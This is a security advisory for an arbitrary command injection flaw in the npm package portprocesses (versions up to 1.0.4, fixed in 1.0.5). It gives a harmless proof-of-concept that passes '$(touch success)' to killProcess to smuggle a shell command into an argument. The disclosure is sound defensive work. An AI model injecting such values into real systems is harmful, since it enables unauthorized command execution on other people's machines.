GHSA-vm67-7vmg-66vm
Arbitrary Command Injection in portprocesses
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | portprocesses | < 1.0.5 | 1.0.5 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
An Arbitrary Command Injection vulnerability was reported in `portprocesses` impacting versions <= 1.0.4.
### Example (Proof of Concept)
The following example demonstrates the vulnerability and will run `touch success` therefore creating a file named `success`.
```js
const portprocesses = require("portprocesses");
portprocesses.killProcess("$(touch success)");
```
References
External links from the advisory. They lead to third-party sites.
- https://github.com/rrainn/PortProcesses/security/advisories/GHSA-vm67-7vmg-66vm
- https://nvd.nist.gov/vuln/detail/CVE-2021-23348
- https://github.com/rrainn/PortProcesses/commit/86811216c9b97b01b5722f879f8c88a7aa4214e1
- https://github.com/rrainn/PortProcesses/blob/fffceb09aff7180afbd0bd172e820404b33c8299/index.js%23L23
- https://snyk.io/vuln/SNYK-JS-PORTPROCESSES-1078536